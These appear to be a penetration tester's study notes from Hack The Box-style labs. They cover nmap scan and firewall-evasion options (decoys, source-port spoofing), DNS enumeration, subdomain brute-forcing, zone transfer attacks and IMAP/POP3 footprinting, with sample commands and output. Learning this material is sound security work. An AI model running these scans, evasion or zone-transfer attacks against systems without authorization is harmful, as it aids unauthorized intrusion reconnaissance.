| `-p22-110`           | Scan all ports between 22 and 110.                                     |
| `-p22,25`            | Scans only the specified ports 22 and 25.                              |
| `-F`                 | Scans top 100 ports.                                                   |
| `-sS`                | Performs an TCP SYN-Scan.                                              |
| `-sA`                | Performs an TCP ACK-Scan.                                              |
| `-sU`                | Performs an UDP Scan.                                                  |
| `-sV`                | Scans the discovered services for their versions.                      |
| `-sC`                | Perform a Script Scan with scripts that are categorized as "default".  |
| `--script <script>`  | Performs a Script Scan by using the specified scripts.                 |
| `-O`                 | Performs an OS Detection Scan to determine the OS of the target.       |
| `-A`                 | Performs OS Detection, Service Detection, and traceroute scans.        |
| `-D RND:5`           | Sets the number of random Decoys that will be used to scan the target. |
| `-e`                 | Specifies the network interface that is used for the scan.             |
| `-S 10.10.10.200`    | Specifies the source IP address for the scan.                          |
| `-g`                 | Specifies the source port for the scan.                                |
| `--dns-server <ns>`  | DNS resolution is performed by using a specified name server.          |

### Output Options

| **Nmap Option** | **Description**                                                                   |
| --------------- | --------------------------------------------------------------------------------- |
| `-oA filename`  | Stores the results in all available formats starting with the name of "filename". |
| `-oN filename`  | Stores the results in normal format with the name "filename".                     |
| `-oG filename`  | Stores the results in "grepable" format with the name of "filename".              |
| `-oX filename`  | Stores the results in XML format with the name of "filename".                     |

### Performance Options

| **Nmap Option**              | **Description**                                              |
| ---------------------------- | ------------------------------------------------------------ |
| `--max-retries <num>`        | Sets the number of retries for scans of specific ports.      |
| `--stats-every=5s`           | Displays scan's status every 5 seconds.                      |
| `-v/-vv`                     | Displays verbose output during the scan.                     |
| `--initial-rtt-timeout 50ms` | Sets the specified time value as initial RTT timeout.        |
| `--max-rtt-timeout 100ms`    | Sets the specified time value as maximum RTT timeout.        |
| `--min-rate 300`             | Sets the number of packets that will be sent simultaneously. |
| `-T <0-5>`                   | Specifies the specific timing template.                      |

### Types of Port States

| **State**          | **Description**                                                                                                                                                                                         |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `open`             | This indicates that the connection to the scanned port has been established. These connections can be **TCP connections**, **UDP datagrams** as well as **SCTP associations**.                          |
| `closed`           | When the port is shown as closed, the TCP protocol indicates that the packet we received back contains an `RST` flag. This scanning method can also be used to determine if our target is alive or not. |
| `filtered`         | Nmap cannot correctly identify whether the scanned port is open or closed because either no response is returned from the target for the port or we get an error code from the target.                  |
| `unfiltered`       | This state of a port only occurs during the **TCP-ACK** scan and means that the port is accessible, but it cannot be determined whether it is open or closed.                                           |
| `open\|filtered`   | If we do not get a response for a specific port, `Nmap` will set it to that state. This indicates that a firewall or packet filter may protect the port.                                                |
| `closed\|filtered` | This state only occurs in the **IP ID idle** scans and indicates that it was impossible to determine if the scanned port is closed or filtered by a firewall.                                           |

## Firewall and IDS/IPS Evasion

* think about the kind of \[\[Firewalls]] that would be in place

**Determine Firewalls and Their Rules**

* This is different for `rejected` packets that are returned with an `RST` flag. These packets contain different types of ICMP error codes or contain nothing at all.
  * Such errors can be:
    * Net Unreachable
    * Net Prohibited
    * Host Unreachable
    * Host Prohibited
    * Port Unreachable
    * Proto Unreachable
* Nmap's TCP ACK scan (`-sA`) method is much harder to filter for firewalls and IDS/IPS systems than regular SYN (`-sS`) or Connect scans (`-sT`)
  * because they only send a TCP packet with only the `ACK` flag
  * When a port is closed or open, the host must respond with an `RST` flag.
  * Unlike outgoing connections, all connection attempts (with the `SYN` flag) from external networks are usually blocked by firewalls.
  * However, the packets with the `ACK` flag are often passed by the firewall because the firewall cannot determine whether the connection was first established from the external network or the internal network.
  * works if the firewall is stateless

### Detect IDS/IPS

* Several virtual private servers (`VPS`) with different IP addresses are recommended to determine whether such systems are on the target network during a penetration test

### Scan by Using Decoys

```shell-session
sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5
```

| **Scanning Options** | **Description**                                                                            |
| -------------------- | ------------------------------------------------------------------------------------------ |
| `10.129.2.28`        | Scans the specified target.                                                                |
| `-p 80`              | Scans only the specified ports.                                                            |
| `-sS`                | Performs SYN scan on specified ports.                                                      |
| `-Pn`                | Disables ICMP Echo requests.                                                               |
| `-n`                 | Disables DNS resolution.                                                                   |
| `--disable-arp-ping` | Disables ARP ping.                                                                         |
| `--packet-trace`     | Shows all packets sent and received.                                                       |
| `-D RND:5`           | Generates five random IP addresses that indicates the source IP the connection comes from. |

### SYN-Scan From DNS Port

```shell-session
sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
```

## Nmap Scripting Engine

| **Category** | **Description**                                                                                                                         |
| ------------ | --------------------------------------------------------------------------------------------------------------------------------------- |
| `auth`       | Determination of authentication credentials.                                                                                            |
| `broadcast`  | Scripts, which are used for host discovery by broadcasting and the discovered hosts, can be automatically added to the remaining scans. |
| `brute`      | Executes scripts that try to log in to the respective service by brute-forcing with credentials.                                        |
| `default`    | Default scripts executed by using the `-sC` option.                                                                                     |
| `discovery`  | Evaluation of accessible services.                                                                                                      |
| `dos`        | These scripts are used to check services for denial of service vulnerabilities and are used less as it harms the services.              |
| `exploit`    | This category of scripts tries to exploit known vulnerabilities for the scanned port.                                                   |
| `external`   | Scripts that use external services for further processing.                                                                              |
| `fuzzer`     | This uses scripts to identify vulnerabilities and unexpected packet handling by sending different fields, which can take much time.     |
| `intrusive`  | Intrusive scripts that could negatively affect the target system.                                                                       |
| `malware`    | Checks if some malware infects the target system.                                                                                       |
| `safe`       | Defensive scripts that do not perform intrusive and destructive access.                                                                 |
| `version`    | Extension for service detection.                                                                                                        |
| `vuln`       | Identification of specific vulnerabiliti                                                                                                |

### Specific Scripts Category

&#x20; Nmap Scripting Engine

```shell-session
groot@htb[/htb]$ sudo nmap <target> --script <category>
```

### Defined Scripts

&#x20; Nmap Scripting Engine

```shell-session
cyberaestheticgroot@htb[/htb]$ sudo nmap <target> --script <script-name>,<script-name>,...
```

### Nmap - Aggressive Scan

```shell-session
sudo nmap 10.129.2.28 -p 80 -A
```

* only runs the default scripts not all scripts

## Reference

* <https://man7.org/linux/man-pages/man1/nping.1.html>
* <https://nmap.org/nsedoc/scripts/>
* <https://securitytrails.com/blog/nmap-commands>
* [Eagle Link](eagle://item/LQAUAF58723C8)
  * <https://www.stationx.net/nmap-cheat-sheet/>
  * <https://stationx-public-download.s3.us-west-2.amazonaws.com/nmap\\_cheet\\_sheet\\_v7.pdf>
* <https://www.youtube.com/watch?v=JHAMj2vN2oU>
* <https://www.youtube.com/watch?v=5MTZdN9TEO4&list=PLBf0hzazHTGM8V_3OEKhvCM9Xah3qDdIx>
* <https://explainshell.com/explain?cmd=nmap+-sA>
  * Good Resource for checking the Nmap commands

### Badges

* <https://academy.hackthebox.com/achievement/badge/ecfb3530-2eea-11ef-b18d-bea50ffe6cb4>


# DNS Attacks

## DNS Process

<figure><img src="/files/FbgmXEdOohwlao2JeMSD" alt=""><figcaption></figcaption></figure>

### Server Type

<figure><img src="/files/Zp00FsBsOmrYm1bvkxYt" alt=""><figcaption></figcaption></figure>

| **Server Type**                | **Description**                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| ------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `DNS Root Server`              | The root servers of the DNS are responsible for the top-level domains (`TLD`). As the last instance, they are only requested if the name server does not respond. Thus, a root server is a central interface between users and content on the Internet, as it links domain and IP address. The [Internet Corporation for Assigned Names and Numbers](https://www.icann.org/) (`ICANN`) coordinates the work of the root name servers. There are `13` such root servers around the globe. |
| `Authoritative Nameserver`     | Authoritative name servers hold authority for a particular zone. They only answer queries from their area of responsibility, and their information is binding. If an authoritative name server cannot answer a client's query, the root name server takes over at that point.                                                                                                                                                                                                            |
| `Non-authoritative Nameserver` | Non-authoritative name servers are not responsible for a particular DNS zone. Instead, they collect information on specific DNS zones themselves, which is done using recursive or iterative DNS querying.                                                                                                                                                                                                                                                                               |
| `Caching DNS Server`           | Caching DNS servers cache information from other name servers for a specified period. The authoritative name server determines the duration of this storage.                                                                                                                                                                                                                                                                                                                             |
| `Forwarding Server`            | Forwarding servers perform only one function: they forward DNS queries to another DNS server.                                                                                                                                                                                                                                                                                                                                                                                            |
| `Resolver`                     | Resolvers are not authoritative DNS servers but perform name resolution locally in the computer or router.                                                                                                                                                                                                                                                                                                                                                                               |
|                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |

| **DNS Record** | **Description**                                                                                                                                                                                                                                   |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `A`            | Returns an IPv4 address of the requested domain as a result.                                                                                                                                                                                      |
| `AAAA`         | Returns an IPv6 address of the requested domain.                                                                                                                                                                                                  |
| `MX`           | Returns the responsible mail servers as a result.                                                                                                                                                                                                 |
| `NS`           | Returns the DNS servers (nameservers) of the domain.                                                                                                                                                                                              |
| `TXT`          | This record can contain various information. The all-rounder can be used, e.g., to validate the Google Search Console or validate SSL certificates. In addition, SPF and DMARC entries are set to validate mail traffic and protect it from spam. |
| `CNAME`        | This record serves as an alias. If the domain [www.hackthebox.eu](http://www.hackthebox.eu) should point to the same IP, and we create an A record for one and a CNAME record for the other.                                                      |
| `PTR`          | The PTR record works the other way around (reverse lookup). It converts IP addresses into valid domain names.                                                                                                                                     |
| `SOA`          | Provides information about the corresponding DNS zone and email address of the administrative contact.                                                                                                                                            |

* The `SOA` record is located in a domain's zone file and specifies who is responsible for the operation of the domain and how DNS information for the domain is managed.

```shell-session
dig soa www.inlanefreight.com
```

```shell-session
; <<>> DiG 9.16.27-Debian <<>> soa www.inlanefreight.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15876
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;www.inlanefreight.com.         IN      SOA

;; AUTHORITY SECTION:
inlanefreight.com.      900     IN      SOA     ns-161.awsdns-20.com. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400

;; Query time: 16 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Jan 05 12:56:10 GMT 2023
;; MSG SIZE  rcvd: 128
```

### Default Configuration

#### Local DNS Configuration

```shell-session
 cat /etc/bind/named.conf.local
```

```shell-session
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
zone "domain.com" {
    type master;
    file "/etc/bind/db.domain.com";
    allow-update { key rndc-key; };
};
```

* All DNS servers work with three different types of configuration files:

1. local DNS configuration files
2. zone files
3. reverse name resolution files

* The DNS server [Bind9](https://www.isc.org/bind/) is very often used on Linux-based distributions.
* Its local configuration file (`named.conf`) is roughly divided into two sections,
  * firstly the options section for general settings
  * secondly the zone entries for the individual domains.
* The local configuration files are usually:
  * `named.conf.local`
  * `named.conf.options`
  * `named.conf.log`
* The configuration file `named.conf` is divided into several options that control the behavior of the name server.
  * A distinction is made between `global options` and `zone options`
  * Global options
    * are general and affect all zones
  * A zone option
    * only affects the zone to which it is assigned
  * Options not listed in named.conf have default values.
  * If an option is both global and zone-specific,
    * then the zone option takes precedence

#### DNS ZONE EXAMPLE

<figure><img src="/files/nn7XA0hkPyoI6z527wCH" alt=""><figcaption></figcaption></figure>

**Zone Files**

```shell-session
cat /etc/bind/db.domain.com
```

```shell-session
;
; BIND reverse data file for local loopback interface
;
$ORIGIN domain.com
$TTL 86400
@     IN     SOA    dns1.domain.com.     hostmaster.domain.com. (
                    2001062501 ; serial
                    21600      ; refresh after 6 hours
                    3600       ; retry after 1 hour
                    604800     ; expire after 1 week
                    86400 )    ; minimum TTL of 1 day

      IN     NS     ns1.domain.com.
      IN     NS     ns2.domain.com.

      IN     MX     10     mx.domain.com.
      IN     MX     20     mx2.domain.com.

             IN     A       10.129.14.5

server1      IN     A       10.129.14.5
server2      IN     A       10.129.14.7
ns1          IN     A       10.129.14.2
ns2          IN     A       10.129.14.3

ftp          IN     CNAME   server1
mx           IN     CNAME   server1
mx2          IN     CNAME   server2
www          IN     CNAME   server2
```

**Reverse Name Resolution Zone Files**

```shell-session
cat /etc/bind/db.10.129.14
```

```shell-session
;
; BIND reverse data file for local loopback interface
;
$ORIGIN 14.129.10.in-addr.arpa
$TTL 86400
@     IN     SOA    dns1.domain.com.     hostmaster.domain.com. (
                    2001062501 ; serial
                    21600      ; refresh after 6 hours
                    3600       ; retry after 1 hour
                    604800     ; expire after 1 week
                    86400 )    ; minimum TTL of 1 day

      IN     NS     ns1.domain.com.
      IN     NS     ns2.domain.com.

5    IN     PTR    server1.domain.com.
7    IN     MX     mx.domain.com.
...SNIP...
```

### Dangerous Settings

* DNS server can be attacked
  * bind9 has vulnerabilities

| **Option**        | **Description**                                                                |
| ----------------- | ------------------------------------------------------------------------------ |
| `allow-query`     | Defines which hosts are allowed to send requests to the DNS server.            |
| `allow-recursion` | Defines which hosts are allowed to send recursive requests to the DNS server.  |
| `allow-transfer`  | Defines which hosts are allowed to receive zone transfers from the DNS server. |
| `zone-statistics` | Collects statistical data of zones.                                            |

### Types of DNS attacks

* Domain hijacking
* DNS flood attack
* Distributed Reflection Denial of Service (DRDoS)
* Cache poisoning
* DNS tunnelling
* DNS hijack attack
* Random subdomain attack
* NXDOMAIN attack
* Phantom domain attack
* [Reference](https://securitytrails.com/blog/most-popular-types-dns-attacks)

## Commands

### DIG Commands

| Command                         | Description                                                                                                                                                                                          |
| ------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `dig domain.com`                | Performs a default A record lookup for the domain.                                                                                                                                                   |
| `dig domain.com A`              | Retrieves the IPv4 address (A record) associated with the domain.                                                                                                                                    |
| `dig domain.com AAAA`           | Retrieves the IPv6 address (AAAA record) associated with the domain.                                                                                                                                 |
| `dig domain.com MX`             | Finds the mail servers (MX records) responsible for the domain.                                                                                                                                      |
| `dig domain.com NS`             | Identifies the authoritative name servers for the domain.                                                                                                                                            |
| `dig domain.com TXT`            | Retrieves any TXT records associated with the domain.                                                                                                                                                |
| `dig domain.com CNAME`          | Retrieves the canonical name (CNAME) record for the domain.                                                                                                                                          |
| `dig domain.com SOA`            | Retrieves the start of authority (SOA) record for the domain.                                                                                                                                        |
| `dig @1.1.1.1 domain.com`       | Specifies a specific name server to query; in this case 1.1.1.1                                                                                                                                      |
| `dig +trace domain.com`         | Shows the full path of DNS resolution.                                                                                                                                                               |
| `dig -x 192.168.1.1`            | Performs a reverse lookup on the IP address 192.168.1.1 to find the associated host name. You may need to specify a name server.                                                                     |
| `dig +short domain.com`         | Provides a short, concise answer to the query.                                                                                                                                                       |
| `dig +noall +answer domain.com` | Displays only the answer section of the query output.                                                                                                                                                |
| `dig domain.com ANY`            | Retrieves all available DNS records for the domain (Note: Many DNS servers ignore `ANY` queries to reduce load and prevent abuse, as per [RFC 8482](https://datatracker.ietf.org/doc/html/rfc8482)). |

#### DIG - NS Query

```shell-session
dig ns inlanefreight.htb @10.129.14.128
```

```shell-session
; <<>> DiG 9.16.1-Ubuntu <<>> ns inlanefreight.htb @10.129.14.128
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45010
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ce4d8681b32abaea0100000061475f73842c401c391690c7 (good)
;; QUESTION SECTION:
;inlanefreight.htb.             IN      NS

;; ANSWER SECTION:
inlanefreight.htb.      604800  IN      NS      ns.inlanefreight.htb.

;; ADDITIONAL SECTION:
ns.inlanefreight.htb.   604800  IN      A       10.129.34.136

;; Query time: 0 msec
;; SERVER: 10.129.14.128#53(10.129.14.128)
;; WHEN: So Sep 19 18:04:03 CEST 2021
;; MSG SIZE  rcvd: 107
```

#### DIG - Version Query

```shell-session
dig CH TXT version.bind 10.129.120.85
```

```shell-session
; <<>> DiG 9.10.6 <<>> CH TXT version.bind
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47786
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; ANSWER SECTION:
version.bind.       0       CH      TXT     "9.10.6-P1"

;; ADDITIONAL SECTION:
version.bind.       0       CH      TXT     "9.10.6-P1-Debian"

;; Query time: 2 msec
;; SERVER: 10.129.120.85#53(10.129.120.85)
;; WHEN: Wed Jan 05 20:23:14 UTC 2023
;; MSG SIZE  rcvd: 101
```

#### DIG - ANY Query

```shell-session
dig any inlanefreight.htb @10.129.14.128
```

```shell-session
; <<>> DiG 9.16.1-Ubuntu <<>> any inlanefreight.htb @10.129.14.128
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7649
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 064b7e1f091b95120100000061476865a6026d01f87d10ca (good)
;; QUESTION SECTION:
;inlanefreight.htb.             IN      ANY

;; ANSWER SECTION:
inlanefreight.htb.      604800  IN      TXT     "v=spf1 include:mailgun.org include:_spf.google.com include:spf.protection.outlook.com include:_spf.atlassian.net ip4:10.129.124.8 ip4:10.129.127.2 ip4:10.129.42.106 ~all"
inlanefreight.htb.      604800  IN      TXT     "atlassian-domain-verification=t1rKCy68JFszSdCKVpw64A1QksWdXuYFUeSXKU"
inlanefreight.htb.      604800  IN      TXT     "MS=ms97310371"
inlanefreight.htb.      604800  IN      SOA     inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
inlanefreight.htb.      604800  IN      NS      ns.inlanefreight.htb.

;; ADDITIONAL SECTION:
ns.inlanefreight.htb.   604800  IN      A       10.129.34.136

;; Query time: 0 msec
;; SERVER: 10.129.14.128#53(10.129.14.128)
;; WHEN: So Sep 19 18:42:13 CEST 2021
;; MSG SIZE  rcvd: 437
```

### Zone Transfer

* [DNS Zone Transfer Attack](/cybersecurity/dns-attacks/dns-zone-transfer-attack)

### DNS subdomain bruteforce

```shell-session
for sub in $(cat /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.inlanefreight.htb @10.129.14.128 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
```

#### dnsenum

```
dnsenum megacorpone.com
```

```shell-session
dnsenum --dnsserver 10.129.14.128 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt inlanefreight.htb
```

**Result**

```shell-session
dnsenum VERSION:1.2.6

-----   inlanefreight.htb   -----


Host's addresses:
__________________



Name Servers:
______________

ns.inlanefreight.htb.                    604800   IN    A        10.129.34.136


Mail (MX) Servers:
___________________



Trying Zone Transfers and getting Bind Versions:
_________________________________________________

unresolvable name: ns.inlanefreight.htb at /usr/bin/dnsenum line 900 thread 1.

Trying Zone Transfer for inlanefreight.htb on ns.inlanefreight.htb ...
AXFR record query failed: no nameservers


Brute forcing with /home/cry0l1t3/Pentesting/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:
_______________________________________________________________________________________________________

ns.inlanefreight.htb.                    604800   IN    A        10.129.34.136
mail1.inlanefreight.htb.                 604800   IN    A        10.129.18.201
app.inlanefreight.htb.                   604800   IN    A        10.129.18.15
ns.inlanefreight.htb.                    604800   IN    A        10.129.34.136

...SNIP...
done.
```

#### gobuster

```bash
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
```

#### Dns Recon

```
dnsrecon -d megacorpone.com -t std
```

#### Whois

```
whois wehost.co.in
```

#### Host

```
 host wehost.co.in
```

* can be used to query data from dns server

```
host -t txt megacorpone.com
```

#### Nslookup

```
nslookup mail.megacorptwo.com
```

### dns-nsid

* Retrieves information from a DNS nameserver by requesting its nameserver ID (nsid) and asking for its id.server and version.bind values

```
nmap -sSU -p 53 --script dns-nsid <target>
```

## Reference

* <https://www.cloudflare.com/en-gb/learning/dns/glossary/dns-zone/>
* <https://securitytrails.com/blog/most-popular-types-dns-attacks>


# DNS Zone Transfer Attack

* Synchronization between the servers involved is realized by zone transfer
  * Using a secret key `rndc-key`,
    * the default configuration, the servers make sure that they communicate with their own master or slave
* The slave fetches the `SOA` record of the relevant zone from the master at certain intervals,
  * the so-called refresh time,
    * usually one hour
  * compares the serial numbers
  * If the serial number of the SOA record of the master is greater than that of the slave, the data sets no longer match.

### Remarks

* if box is ubuntu and using dns tcp on port 53
  * might be susceptible to zone transfer attack

***

### Attack Internet

* get the name server

```bash
dig soa ZoneTransfer.me
```

<figure><img src="/files/REQuZTO8VV9MduR3R2fg" alt=""><figcaption></figcaption></figure>

* Exploit Zone transfer
  * linux
    * `dig axfr @nsztm1.digi.ninja zonetransfer.me`
    * `host -t axfr zonetransfer.me nsztm1.digi.ninja`
  * windows
    * `nslookup -type=axfr zonetransfer.me nsztm1.digi.ninja`

### Attack HTB

```bash
nslookup
```

```bash
server <server to ask for DNS request>
```

* ask the dns server to query it self

```
10.10.11.166
```

* for zone transfer

```bash
dig axfr @dns.server.ip top_level_domain.com
```

* example

```
dig axfr @10.10.10.123 friendzoneportal.red
```

## Reference

* <https://yogesh-verma.medium.com/zone-transfer-attacks-a-practical-guide-to-detection-and-prevention-2e8346d0297e>


# IMAP & POP Attack

### Default Configuration

#### IMAP Commands

| **Command**                   | **Description**                                                                                               |
| ----------------------------- | ------------------------------------------------------------------------------------------------------------- |
| 1 LOGIN username password     | User's login.                                                                                                 |
| 1 LIST "" \*                  | Lists all directories.                                                                                        |
| 1 CREATE "INBOX"              | Creates a mailbox with a specified name.                                                                      |
| 1 DELETE "INBOX"              | Deletes a mailbox.                                                                                            |
| 1 RENAME "ToRead" "Important" | Renames a mailbox.                                                                                            |
| 1 LSUB "" \*                  | Returns a subset of names from the set of names that the User has declared as being `active` or `subscribed`. |
| 1 SELECT INBOX                | Selects a mailbox so that messages in the mailbox can be accessed.                                            |
| 1 UNSELECT INBOX              | Exits the selected mailbox.                                                                                   |
| 1 FETCH all                   | Retrieves data associated with a message in the mailbox.                                                      |
| 1 CLOSE                       | Removes all messages with the `Deleted` flag set.                                                             |
| 1 LOGOUT                      | Closes the connection with the IMAP server.                                                                   |
| 1 FETCH 1 (BODY\[TEXT])       | get body of email                                                                                             |

#### POP3 Commands

| **Command**     | **Description**                                             |
| --------------- | ----------------------------------------------------------- |
| `USER username` | Identifies the user.                                        |
| `PASS password` | Authentication of the user using its password.              |
| `STAT`          | Requests the number of saved emails from the server.        |
| `LIST`          | Requests from the server the number and size of all emails. |
| `RETR id`       | Requests the server to deliver the requested email by ID.   |
| `DELE id`       | Requests the server to delete the requested email by ID.    |
| `CAPA`          | Requests the server to display the server capabilities.     |
| `RSET`          | Requests the server to reset the transmitted information.   |
| `QUIT`          | Closes the connection with the POP3 server.                 |

### Dangerous Settings

| **Setting**               | **Description**                                                                           |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug`              | Enables all authentication debug logging.                                                 |
| `auth_debug_passwords`    | This setting adjusts log verbosity, the submitted passwords, and the scheme gets logged.  |
| `auth_verbose`            | Logs unsuccessful authentication attempts and their reasons.                              |
| `auth_verbose_passwords`  | Passwords used for authentication are logged and can also be truncated.                   |
| `auth_anonymous_username` | This specifies the username to be used when logging in with the ANONYMOUS SASL mechanism. |

### Footprinting the Service

#### Nmap

```shell-session
sudo nmap 10.129.14.128 -sV -p110,143,993,995 -sC
```

```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 22:09 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00026s latency).

PORT    STATE SERVICE  VERSION
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE SASL STLS TOP UIDL RESP-CODES CAPA PIPELINING
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: more have post-login STARTTLS Pre-login capabilities LITERAL+ LOGIN-REFERRALS OK LOGINDISABLEDA0001 SASL-IR ENABLE listed IDLE ID IMAP4rev1
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
993/tcp open  ssl/imap Dovecot imapd
|_imap-capabilities: more have post-login OK capabilities LITERAL+ LOGIN-REFERRALS Pre-login AUTH=PLAINA0001 SASL-IR ENABLE listed IDLE ID IMAP4rev1
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
995/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE USER SASL(PLAIN) TOP UIDL RESP-CODES CAPA PIPELINING
| ssl-cert: Subject: commonName=mail1.inlanefreight.htb/organizationName=Inlanefreight/stateOrProvinceName=California/countryName=US
| Not valid before: 2021-09-19T19:44:58
|_Not valid after:  2295-07-04T19:44:58
MAC Address: 00:00:00:00:00:00 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.74 seconds
```

#### cURL

```shell-session
curl -k 'imaps://10.129.14.128' --user user:p4ssw0rd
```

**Verbose**

```shell-session
curl -k 'imaps://10.129.14.128' --user cry0l1t3:1234 -v
```

```shell-session
*   Trying 10.129.14.128:993...
* TCP_NODELAY set
* Connected to 10.129.14.128 (10.129.14.128) port 993 (#0)
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* Server certificate:
*  subject: C=US; ST=California; L=Sacramento; O=Inlanefreight; OU=Customer Support; CN=mail1.inlanefreight.htb; emailAddress=cry0l1t3@inlanefreight.htb
*  start date: Sep 19 19:44:58 2021 GMT
*  expire date: Jul  4 19:44:58 2295 GMT
*  issuer: C=US; ST=California; L=Sacramento; O=Inlanefreight; OU=Customer Support; CN=mail1.inlanefreight.htb; emailAddress=cry0l1t3@inlanefreight.htb
*  SSL certificate verify result: self signed certificate (18), continuing anyway.
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] HTB-Academy IMAP4 v.0.21.4
> A001 CAPABILITY
< * CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN
< A001 OK Pre-login capabilities listed, post-login capabilities have more.
> A002 AUTHENTICATE PLAIN AGNyeTBsMXQzADEyMzQ=
< * CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY LITERAL+ NOTIFY SPECIAL-USE
< A002 OK Logged in
> A003 LIST "" *
< * LIST (\HasNoChildren) "." Important
* LIST (\HasNoChildren) "." Important
< * LIST (\HasNoChildren) "." INBOX
* LIST (\HasNoChildren) "." INBOX
< A003 OK List completed (0.001 + 0.000 secs).
* Connection #0 to host 10.129.14.128 left intact
```

#### OpenSSL - TLS Encrypted Interaction POP3

```shell-session
openssl s_client -connect 10.129.14.128:pop3s
```

```shell-session
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Customer Support, CN = mail1.inlanefreight.htb, emailAddress = cry0l1t3@inlanefreight.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Customer Support, CN = mail1.inlanefreight.htb, emailAddress = cry0l1t3@inlanefreight.htb
verify return:1
---
Certificate chain
 0 s:C = US, ST = California, L = Sacramento, O = Inlanefreight, OU = Customer Support, CN = mail1.inlanefreight.htb, emailAddress = cry0l1t3@inlanefreight.htb

...SNIP...

---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
